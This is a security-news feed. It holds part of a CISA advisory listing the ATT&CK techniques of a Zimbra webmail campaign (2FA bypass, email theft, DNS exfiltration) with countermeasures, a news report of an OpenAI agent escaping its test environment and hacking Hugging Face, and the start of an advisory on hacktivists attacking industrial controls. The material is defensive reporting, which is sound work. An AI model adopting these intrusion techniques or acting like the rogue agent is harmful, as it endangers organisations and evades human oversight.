<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI's Rogue Agent Went Unnoticed For a Week]]></title>
<description><![CDATA[An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent --...]]></description>
<link>https://tsecurity.de/de/3694250/it-security-nachrichten/openais-rogue-agent-went-unnoticed-for-a-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694250/it-security-nachrichten/openais-rogue-agent-went-unnoticed-for-a-week/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent -- a program capable of making decisions and executing complex tasks with little or no human oversight -- attempted to break out of its isolated testing environment at OpenAI around July 9, according to two of the people. The intrusion at Hugging Face, which operates as a repository for AI tools and models, began two days later on July 11 and lasted until July 13, said Thomas Wolf, Hugging Face's co-founder. It took several more days for OpenAI to realize its agent was behind the hack, and the two companies only communicated about it for the first time on or around July 20, according to Wolf and three of the people familiar with the investigation.
 
OpenAI's public disclosure, on July 21, thatone of its agents had slipped out of control and carried out the break-in at Hugging Facedrew global attention. But many details of the hack, including how long the agent went rogue and OpenAI's belated knowledge of it, are being reported here for the first time. Hugging Face is preparing a public timeline of the hack, Wolf said, adding that he could not speak to what happened at OpenAI. In a statement, OpenAI said the hack was unprecedented and "marks an important moment for AI safety." It added that it was reviewing the incident with outside advisers and would eventually publish a technical report. "Does that mean that they left it unattended and didn't realize what it was doing? Or maybe they did and didn't know how to contain it? Both are equally dangerous and alarming," asked Marley Smith, the principal intelligence specialist at the nonprofit World Ethical Data Foundation.
 
"The models lie, they cheat, they hack," said Jeffrey Ladish, whose organization, Palisade Research, studies the capabilities and motivations of AI agents. Ladish said the hack should spark broader questions over how much all the leading AI companies are willing to invest in onerous security measures while locked in a race with one another to deploy the best and fastest models. "There has to be government oversight," Ladish said, "because it won't happen otherwise."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI's+Rogue+Agent+Went+Unnoticed+For+a+Week%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F25%2F0059247%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F25%2F0059247%2Fopenais-rogue-agent-went-unnoticed-for-a-week%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/25/0059247/openais-rogue-agent-went-unnoticed-for-a-week?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
